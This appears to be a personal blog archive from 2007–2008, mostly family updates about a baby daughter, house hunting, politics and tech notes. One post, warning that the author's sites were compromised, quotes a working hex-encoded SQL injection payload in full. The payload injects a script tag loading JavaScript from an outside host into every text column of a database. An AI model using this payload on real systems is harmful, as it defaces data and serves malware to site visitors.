This is an absolutely crazy base-jumping video, with wing suits. If I didn’t have the life and family I have now, I could see myself wanting to do this, but there’s too much risk involved for me and I’ve got too much to loose. Still – it’s awesome to see.
wingsuit base jumping from Ali on Vimeo.
We went to Houston this year, for Poppy’s first Christmas and spent almost a week with my family. Everyone loved and was amazed by Poppy, of course and she did splendidly. She traveled quite well, sleeping for the first part of both flights and playing quietly for the second. She also did a remarkably good job dealing with all the people she didn’t really know and the back and forth craziness of going from house to house to house.
Helping to Write History
By Eli Saslow
Washington Post Staff Writer
Thursday, December 18, 2008; Page A01
During the campaign, the buzz-cut 27-year-old at the corner table helped write and edit some of the most memorable speeches of any recent presidential candidate. When Obama moves to the White House next month, Favreau will join his staff as the youngest person ever to be selected as chief speechwriter. He helps shape almost every word Obama says, yet the two men have formed a concert so harmonized that Favreau’s own voice disappears.
We have refinanced (or at least started the process) and locked in at 4.96 after paying a point (it was 5.6 without the point, lenders wanting up-front money and assurance in today’s market). We are rolling in the point and closing costs into the new loan and we’ll still be saving $140/month over our current loan (and if we hadn’t rolled in the costs, it would only have saved us $21/month more).
A very funny post for the programming nerds out there:
If programming languages were religions…
By amz – Monday, December 15, 2008 at 14:52
PHP would be Cafeteria Christianity – Fights with Java for the web market. It draws a few concepts from C and Java, but only those that it really likes. Maybe it’s not as coherent as other languages, but at least it leaves you with much more freedom and ostensibly keeps the core idea of the whole thing.
There’s a great video done by Dan Harris of ABC news on the Mates of State and what the family does when they go on tour.
I love the wholesomeness of it and it fits right in with what I think they would be like. This band is one of my absolute favorites and that’s only encouraged by this peak into their good parenting and family priorities.
http://abcnews.go.com/video/playerindex?id=6318255
http://www.facebook.com/note.php?note_id=37203373110&ref=mf
So there’s no going back… Though she’s still holding on to fingers when offered (or when produced after her sometimes insistent request) she is walking all the way across rooms without assistance and often without falling. For the most part, when she does fall, it’s fairly controlled and without incident.
All of our childproofing is being reassessed now. It’s a best effort thing anyway – for the most part, she’s going to get into whatever she can, we just try to remove the most dangerous and delicate things from 4 feet or lower.
An excellent article on Walmart being evil or not – a fairly objective seeming overview of the major points of discussion for the different camps on Walmart.
That’s a good thing, right? If a company achieves its lower prices by finding better and smarter ways of doing things, then yes, everybody wins. But if it cuts costs by cutting pay and benefits–or by sending production to China–then not everybody wins. And here’s where the story of Good Wal-Mart starts to falter.
I thought this was a very interesting article
Birth Control Pills Affect Women’s Taste in Men
It’s all about scent. Hidden in a man’s smell are clues about his major histocompatibility complex (MHC) genes, which play an important role in immune system surveillance. Studies suggest that females prefer the scent of males whose MHC genes differ from their own, a preference that has probably evolved because it helps offspring survive: couples with different MHC genes are less likely to be related to each other than couples with similar genes are, and their children are born with more varied MHC profiles and thus more robust immune systems.
I have never developed a taste for coffee, personally, but I love the smell and I do love all the sugary-icey-foo-foo drinks. Here’s an entertaining story about coffee from Christoph Niemann, an illustrator at The New Yorker, Atlantic Monthly, The New York Times Magazine and American Illustration.
I’m one of the first to speak out against the current (soon-to-change-thank-god) US government, but this video really does make me sad. I have little to say positive toward G.W.Bush and have certainly complained about him (often) when really complaining about the actions of many many people… but I don’t think I’d go so far as to refuse to shake his hand. I mean, he’s still a person.
On the otherhand, I myself have toyed with the idea of considering him a mass murderer… so from that perspective, I wouldn’t want to shake his hand or be in the same room with him.
One sunny day in 2009 an old man approached the White House
from across Pennsylvania Avenue, where he’d been sitting on a
park bench. He spoke to the U.S. Marine standing guard and
said, ‘I would like to go in and meet with President Bush.’
The Marine looked at the man and said, ‘Sir, Mr. Bush is no longer
president and no longer resides here.’
The old man said, ‘Okay, thank you’ and walked away.
I just created a handy little script to create todos in basecamp for unresovled tickets in mantis.
You can see the open sourced code/project: http://code.google.com/p/mantis2basecamp-todo/.
This is something we found useful, if you use both tools, you might find it useful as well.
I’ve finally processed and uploaded the photos from my camera. We’ve got new ones from september, october, and november. Most are of Poppy, but not all of them. Some great halloween photos, some camping, and many other occasions where the camera was brought out.
You can see some on the homepage of this site, or poke around flickr at: http://flickr.com/photos/zeroasterisk/
I feel like I should have something profound to say. I’ve been a supporter since I picked up one of his books and have grown more so as I’ve found out more and more about Obama and his family and views and campaign.
We watched the results at our friend’s house and were ready to cry together, but thankfully we didn’t have to. After the last two presidential elections, I was pessimistic and ready to be disappointed – when Obama won I really had to do a couple of reality checks.
An email from my Mom who recently visited us. It’s a great recap and update on Poppy, so I’m just pasting in here:
I recommend becoming a grandmother — it’s the best! I have just returned from a week in Louisville with Alan and Anita…and Poppy, which included two Halloween parties, a wedding in Columbus, a long walk in Iroquois park to check out the fall colors, two swimming lessons for Poppy (with Anita), and progress made on Poppy’s room mural by my good friend, Joan Firster and me.
We went for Poppy’s nine month old check up today and she is starting to slim down and lengthen. At her 7month visit, she was 19lbs and 27.5inches, and now she is holding steady at 19lbs and up to 29inches. There were no vaccines today – woohoo!
After her visit and a good nap, we were playing downstairs and she took her first preliminary, wobbly steps. It was just 2-3 steps a time or 2, but it was pretty amazing.
Anita recently pointed out to me that Poppy has been talking to herself for weeks. I noticed it and never remarked on it because it seemed normal, but it is worth remarking on.
She will be crawling around, or cruising, or riding in a carrier or playing with a toy… often during a period or play or concentration, she will start babbling really quietly. A lot like talking to yourself, she just talks away while she’s working on whatever she’s working on.
I have uploaded most of the photos from September and the first half of October. We have another card to process at some point, but this should be the majority.
September
October
364: Going Big
All of TAL is always great, moving, funny, and every other positive adjective I could think of (yes, I’m a fanboy)… but the first act in this show is about baby education and it’s importance…
Paul Tough reports on the Harlem Children’s Zone, and its CEO and president, Geoffrey Canada. Among the project’s many facets is Baby College, an 8-week program where young parents and parents-to-be learn how to help their children get the education they need to be successful.
I recently re-installed ubuntu (linux) on a server and ran into difficulties installing hamachi. As it turned out I tried to setup hamachi without installing the tun module first. I then installed the tun module, but hamachi wouldn’t work. I eventually figured out that the tuncfg had to be cleaned/make’ed again, after the tun was re-created.
This is the error I was getting:
bash: /sbin/tuncfg: No such file or directory
NY Times article:
Fannie Mae Eases Credit To Aid Mortgage Lending : September 30, 1999
In a move that could help increase home ownership rates among minorities and low-income consumers, the Fannie Mae Corporation is easing the credit requirements on loans that it will purchase from banks and other lenders.
The action, which will begin as a pilot program involving 24 banks in 15 markets — including the New York metropolitan region — will encourage those banks to extend home mortgages to individuals whose credit is generally not good enough to qualify for conventional loans.
Poppy has started really reaching for people when she wants to be held. She also now will usually kiss whomever is holding her. That kiss is often with an open mouth and extended tounge, but we’re not picky – it counts!
Something has come to me, in the light of the current financial crisis in this country…
Most people in this country are now aware that we are on the brink of a depression as serious as the one in the 1930s. People are up in arms, talking to their congressional representatives and it is all over the media. There’s action (or at least attempted and perhaps misguided action) in our government to fix some of the problems, and we are all sure the sky is falling and things need to be done.
A fantastic interview on Fresh Air regarding our current state of the economy and the proposed bailout plan, where we are encouraged to not look at the details and just buy… The Wall Street Bailout: A Conflict Of Interest?
Henry Paulson: The Treasury secretary’s $700 billion bailout plan awaits congressional approval.Getty Images
Fresh Air from WHYY,September 23, 2008 · With financial markets in flux and a massive government rescue package in the works, financial reporter and New York Timescolumnist Gretchen Morgenson looks into what’s involved in the nearly $700 billion deal.
<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;"> Project CARE (Communications and Respect for Everybody) recognizes the desire for those in need to get back on their feet and begin a new life. An essential element to that proposition is a consistent and reliable phone number – a place where anyone (family, friends, social workers, health care providers, potential employers, etc.) can leave you a message.
Anita and many of the mom’s took their offspring to Tyler Park today.
Poppy was somewhat fussy, all day and in fact all month… she’s getting teeth and she’s frustrated that she can’t really walk on her own yet. Life is hard.
So hard, in fact, that sometimes, if you’re a baby, you just gotta eat some leaves and puke… which she did, with abandon. What we didn’t figure out until ~9pm tonight was that one of those leaves was stuck to the roof of her mouth for over 5 hours.
I saw the following article on a list serve I’ve been lurking on; a simple overview of personal experience with homeschooling… but it’s nice to see local examples get national coverage. Homeschool Diaries: How 3 Families Teach Kids at Home
www.ImVotingRepublican.com
I’m Voting Republican is a satirical look at the likely outcome of another four years of Republican government. The not-so-subtle message behind the film is the importance of a united bloc of citizens willing to take the time and effort to vote Democrat in order to improve America’s domestic and foreign policy.
Saturday night we got back home and were amazed to see lights on. LG&E rigged up some scary looking connections across downed lines (we will not go walking on stilts), but they got our block light up… faster than I expected.
We were without power for right at a week, and it certainly could have been much worse. We had no damage and no monetary loss (except the food in the fridge/freezer).
We’re without power, like most of Louisville.
On Sunday afternoon the wind really started picking up. We thought a storm was coming, but we had no idea about the extent. So, stupidly, we went for a walk around the neighborhood with Poppy. As we are walking, we see a small tree go down… “whoa – that’s crazy” but you know, it’s a small tree, perhaps it was just planted… then we get a little further and we hear a big ripping sound and look back and less than half a block up a huge oak tree has just been pulled up at the roots.
We had the very good fortune of attending the first CakePHP workshop, in Raleigh, NC this weekend. Four of the core developers of the project where there, including the project manger and the lead developer; along with one of the guys behind jquery-UI. The non-presenters ranged from people who had never used [We had the very good fortune of attending the first CakePHP workshop, in Raleigh, NC this weekend. Four of the core developers of the project where there, including the project manger and the lead developer; along with one of the guys behind jquery-UI.
So here I am, in Raleigh, NC – waiting for the CakePHP Workshop to start… We survived the rain so far, waiting to see if there is any flooding or whatnot.
Have met a few people here so far, all seem very friendly. Looking forward to seeing what happens and what we learn along the way.
I am wearing my “I [heart] LAMP” geek-shirt today, as it seemed appropriate (if a little over the top nerdy).
My mom (Poppy’s Grannie C) has visited us for a week and a half and it couldn’t have been timed better. With all of Poppy’s recent accomplishments, it was kind-of like meeting a whole new grandchild… at least a new set of things to watch out for when poppy-sitting.
Mom painted 80% of a wonderful mural in Poppy’s room, which I get to finish up over the next week or so (looking forward to doing a photo-synth of it, when done).
Poppy is over seven months old now. 223 days. She’s old.
In her first week of being 6 months old, she started getting her first tooth and started crawling. She quickly realized that through crawling is reliable, it’s not as great as pulling up to standing and trying to coax someone or anything into keeping her upright while she staggers towards any object of her desire. Basically, we spend a lot of time with her holding onto our fingers as we stoop over and walk her around… she sits when she’s near something she wants.
A recent report from Don Jackson at SecureWorks (dated March 20 2007) examines a new Trojan and provides some alarming insights on Internet Identity Theft. It is worth reviewing this case carefully to understand how sophisticated modern identity theft schemes have become, and how difficult it can be to investigate and prevent them.What makes this Trojan interesting is that it:
is installed automatically simply by visiting an infected web site is invisible to the user is often missed by anti-virus software is able to steal identity information even if it is encrypted using https efficiently collects large amounts of information and sends it to a “mother ship” provides an interface for fraudsters to easily purchase the stolen data is been used to collect thousands of login credentials at major banks and government agencies has not been shut down is only one of many such programs that are now offered as kits source: http://www.
Anita has been going to school for her whole life. She’s 28, and she’s gone to school k-12, and then college for 9 years after that. She got her PharmD from OSU and became a Dr. of Pharmacy… but all of that is for naught without passing a national board and a state law board.
Well – she’s passed both on her first attempt and is now, a bonafide (licensed) Pharmacist.
US Contractors in Iraq’s motto: “What happens here today stays here today.”
The Most Privatized War in US History.
Blackwater USA: The US State Department pumps $700 million worth of security contracts into the soldier-for-hire company of a major Republican funder. Meanwhile, Paul Bremer signs Order 17 granting immunity to private contractors in Iraq, “effectively barring the Iraqi government from prosecuting contractor crimes in domestic courts.” Havoc ensues.
Jeremy Scahill’s “Making a Killing” in the Oct.
Why You Should Turn Gmail’s SSL Feature On Now
Let’s talk security and why you should take advantage of Gmail’s recent SSL feature, and why you might want to be careful using other non-SSL webmail services.
But first, make sure your connection is secured using SSL.
How do you know a connection is secured by SSL? The handy “s” after “http” will tell you. For example, https://mail.google.com is encrypted while http://mail.
Poppy is growing up way too quickly. Anita cried a couple nights ago
watching her sleep, and I can certainly understand… She hasn’t
technically doubled in size, but she seems like she is at least twice
as big as she was at birth and many hundred fold more
capable/developed/skilled/aware.
She’s babbling a lot, starting this weekend and she has a second tooth just under the surface ready to come out.
Rwandans look to Louisville for interfaith model
The Rwandans invited the center’s executive director, Jan Arnow, to visit their country, where in May, she conducted workshops and discussions with a group that included various faiths, from Muslims to Catholics to Quakers to Pentecostals.
During that visit, she said, group members told her, “We want to do what your organization does” — leading to establishment of the center’s first branch outside Kentucky.
Poppy is a feirce 6 months now. She is sitting and crawling and talking a lot (though still mostly in vowels only).
What’s funny is to see her grab ahold of something (anything) and shake it.
“What does this do? How about if I beat it against the floor for 5 minutes? hmmm… What about after another 5 minutes?”
She is so much fun to watch and interact with… all she’s doing is sitting or crawling and violently shaking/beating/eating whatever is in her little hands… but that’s more than enough to keep us watching.
I’ve gone for 72 hours without checking my email or getting online. Wonders will never cease.
We’ve been finishing up packing and moving into our new house!
As such – things are of course – crazy and i’m beaten down (in fact, I
might have very very mild heat stroke) – but we’re both really happy to
be here and get this house… we’ll be getting things setup as we can
photo-page / slideshow
Poppy ate some broccoli {.image_link}{.image_link}
Poppy slept with her papa and walked with her mama And played with her bear and in her crib And then Poppy and Anita and several other friends went to Tyler Park for the afternoon
{.image_link}
Most changes are gradual – including this one… Poppy is sitting up pretty well now. Over the last two weeks she’s been getting closet to sitting unaided and most of this week, as long as there’s a pillow to protect her from occasionally flailing backwards – she’s a solid sitter. Amazing how proud I can be over such simple accomplishments.
We have made an offer on 183 Coral Ave. and it was accepted (finally).
You may have heard about the problems we had with the last house we were interested in, so were were trying not to get our hopes up too much – but now we are signed and contracted… good to go.
The house is big enough with a little expansion room in the basement, across the street from a great park and on an almost double lot.
Our daughter is 5 months old today. The milestones of time help me take account of the monumental changes which have happened. We have a fully fledged baby – nobody would call her an infant… she will never be an infant again.
This is both wonderful and tragic – but luckily more on the wonderful side.
She’s starting to teeth occasionally, but it seems to bother her for a couple of days here and there.
We had gotten VERY excited about a house we were going to buy.
We made an offer, they countered, we accepted… all today (Sunday). We were waiting on the counter-offer-paperwork to sign and send back… well, instead of getting that, we actually got notified that the offer was retracted. Someone else made a better offer and we weren’t given an option to bid back.
Of course, this was after we’d told everyone and after we’d gotten really, really excited about this house.
I’ve been putting off upgrading to FF3 because I was afraid of plugins which wouldn’t work and at this point, I live by many of my FF addons.
Well I feel silly now – having updated… Things seem to be as smooth as possible and FF is much more responsive. YAY MOZILLA!
Poppy at Month four:
This month has been quite productive. She has been growing by leaps and bounds, like
normal. She’s now reaching for everything and
putting it all in her mouth and dropping it on the floor. Nothing is safe within a foot and a half of her. She is sitting up well, if you help her
out. She’s standing well, if you help her out. I think she is just
we had a date last night (our first in 6+ months) and ate Ethiopian food and watched “Iron Man“. Both the food and the movie were fantastic!
Maybe it’s because we haven’t really had a night to ourselves in a while; maybe it’s because we haven’t seen a movie in a few months… but we both loved every second of our date and I personally will be re watching iron man a few times.
I think Ubuntu is great, easy to use, standardized, and built on Debian… what could be better? Apparently – there are certainly some things which could be better.
Here is a great experiment one geek and his girlfriend undertook:
I’ve toyed with Linux since 2002, when I first installed Mandrake. With the latest release of Ubuntu, I was interested to see how far Linux had come since then in terms of being used easily by the mainstream.
Just an FYI – some of our old sites are not filtering out injection
attacks and got hosed last weekend. The attack seems fairly
sophisticated (imo) and is described in this post.
orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000
4300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0072002000430055
00520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D00200073007900
73006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069
006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F0072002000
62002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D0031
0036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00
200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028004000400046004500540043
0048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B00
27005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C
005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E00
6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045
00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000
43004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075
00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–
If you just copy the hex value from this URL, as this…
0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000430020007600610072006300680061007200280032003500
3500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C
00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300
7900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E0078007400790070
0065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F00
7200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062
006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D003000290020
0042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B0040004300
2B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B0027
0027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F00
Poppy went swimming for the first time in her cute little two piece + diaper. Mom and Grannie C and Papa all helped keep her afloat. She did great, not always sure she knew what was going on, but was happy and absorbed the new experience without drinking too much chlorinated water. All told, she was probably in the water for almost an hour.
First, Poppy laughing – Then a longer segment where Grannie C is talking about stuff that Poppy will do, and then a look around the back deck, and finally a little bit of card playing. (6:44)
Update – we are in Houston for April and May. Staying w/ family and
Anita’s doing her last rotation at a hospital here. They are kicking
her ass and not even saying sorry… but it’s the home stretch till
she’s finally done with school forever! (YAY)
Poppy is big-tastic. She is holding her head up all the time,
laughing a little (when tickled or otherwise super-excited) and smiling
a lot. She’s almost on a schedule – which includes 15-30 min of crying
Penelope has laughed in her sleep and has done some sort-of laughs along the way, but last night, for the first time, she laughed. We got several giggles from her. We were tickling her and of course giggling ourselves, but regardless – she laughed. We were beside ourselves, as would be expected. She’s starting to make some syllable sounds, but it’s not very far along as of yet.
The drive to Houston went wonderfully. We did have to stop several
times, but it was just less than what we had prepared for. An 8.5 hour
leg of the trip took 11 hours.
We got to stop in KC and see Karen, Aunt Sue, and Uncle Richard. We
stayed for breakfast and then drove to Gainsville and visited my uncle
Bob. That 7 hour drive took about 10. After staying the night with
Poppy is 24 inches and 12#10ozs at her 2 month appointment. That puts her in the 90th percent on bigness. He head is starting to catch up to her body ad it’s now in the 70th percentile.
{.tt-flickr}{.tt-flickr}
This Jan. we thought it would be a good time to start looking for houses, since the rates came down… but being slow and you know, having a child – we just recently got out and actually looked at houses.
By now the rates are over 6% for a standard 30yr mortgage. We have perfect credit and decent everything else… but the lenders are just not passing along the reduced rates.
A vast array of pharmaceuticals — including antibiotics, anti-convulsants, mood stabilizers and sex hormones — have been found in the drinking water supplies of at least 41 million Americans, an Associated Press investigation shows
To be sure, the concentrations of these pharmaceuticals are tiny, measured in quantities of parts per billion or trillion, far below the levels of a medical dose. Also, utilities insist their water is safe.
But the presence of so many prescription drugs — and over-the-counter medicines like acetaminophen and ibuprofen — in so much of our drinking water is heightening worries among scientists of long-term consequences to human health.
Uploaded photos of Poppy for the last several weeks (havn’t uploaded since early Feb.). You can go through the new ones (march and feb) or just look at the main stream of photos.
It snowed around 7 inches on Friday and Saturday, and we got to play in the snow some, but only very briefly. We both started to daydream about taking Poppy out for sledding adventures and hot chocolate afterwards.
I arrived at the Louisville, KY airport at 5:30am, Feb 29 and tried to check in for my flight #1755 to Dallas, TX. As it turns out, the confirmation/look up number I received with my itinerary was invalid. They couldn’t find it. And then, upon further investigation, the ticket had been refunded or somehow mis-scheduled. I had to get back in line (I’d been holding up the line this whole time and by now, it was long).
Breast milk contains stem cells – Monday, 11 February 2008 – By Catherine Madden
The Perth scientist who made the world-first discovery that human breast milk contains stem cells is confident that within five years scientists will be harvesting them to research treatment for conditions as far-reaching as spinal injuries, diabetes and Parkinson’s disease.
But what Dr Mark Cregan is excited about right now is the promise that his discovery could be the start of many more exciting revelations about the potency of breast milk.
My buddy Jason Smithson recently posted something about mint.com and I decided to check it out. It’s a fantastic site, very easy to use, and provides a very simple overview of the categories of my spending.
So, I know I spend X% on food and Y% on rent…
I’ve been nothing but impressed.
There’s also a “how to save money” section which strikes me as advertising and I’ve dutifully ignored it.
Ok – yeah, she’s only 15 days old today… sounds like nothing… but she is already changing. Her head is getting more solid and her face seems to be solidifying (for want of a better term).
Poppy is getting big. She’s still under 10 lbs, but she’s moving more, making want-to-be-crawling motions when on her belly… and is more prone to recognize people around her.
She’s starting to be unhappy when she realizes people aren’t holding her or at least around her… but that might not be new – it’s just new that people aren’t always holding her.
Poppy is doing great – an absolute joy to have around 95% of the time. She can get fussy sometimes, but it’s not bad at all – and she’s so happy most of the time.
We’ve gotten better at giving baths and getting dressed and diapering. We’ve using about 50%/50% cloth and disposable diapers. We’d like to use more cloth, but they really don’t fit her yet, they are too big.
My life has shifted. If my perspective on the world were comprised of tectonic plates – it’s as if a new continent has formed, replete with earthquakes, tsunamis, and the readjustment of every other piece of the former world. That analogy is poor, because in my case, all these changes are great. Great is an understatement; magnificent is an understatement.
So – here’s the short story for those who haven’t heard it yet.
Baby Watch Update: 2008.01.23 @ 4pm
Anita’s been having some serious contraction for a while… it could be early labor or it could be pre-labor. Even if this isn’t it, we have an appointment tomorrow morning for induction since Penelope is probably pretty big, and Anita is not (relatively speaking).
So – tonight or tomorrow.
We’re at home now and likely to remain here until we’re convinced she’s in labor (contractions ~5 min apart for an hour, with a change in activity in between)… or until tomorrow morning at 9am.
Perhaps there are just too many birthday reminders floating around, but I feel like everyone I’ve ever known has remembered my birthday this year. Not a big deal, but makes me feel good, regardless. Thanks to all the well wishers!
B-day has been great… a walk in the woods w/ Myra, followed by fantastic sushi lunch and great coffee… then to work (at work now)…
The only real complaint I have is that Penelope isn’t here yet.
We got to visit Molly, Randy, Simon, and Gena on 2008.01.13 – for an early Gena birthday and to show off Anita in the final stages of pregnancy (due anytime now…)
Apparently, Gena is into Disney Princess stuff… Anita was able to come to the rescue and provide the appropriate frilly dress and paraphernalia. A fun visit – to be sure…
Note the really neat images of Simon watching his train & Gena running across the room in light-up shoes (slow shutter speed == action shot == cool)
I was looking for an API for Google Analytics. I didn’t find one, but I did find a slick little application for looking at the reports and stats of Google Analytics.
Google Analytics Air
The Google Analytics Reporting suite is an Adobe AIR application that brings Google Analytics to the desktop. It uses it’s own custom API to interact with Google and nearly implements all features of Analytics. See the feature list for more info.
In theory this image will stay current – periodically updated with new versions every few minutes… if it works out, I will add it to the header or sidebar or something.
Anita and I went to the Dr. and got the latests baby-weight… it’s 31 pounds. That takes the pregnancy weight from ~20% to ~25% of her previous body weight. A picture’s worth 1000 words… and I’m wouldn’t write that much anyway, but here are some pictures to prove my point:
And a few more, for good measure: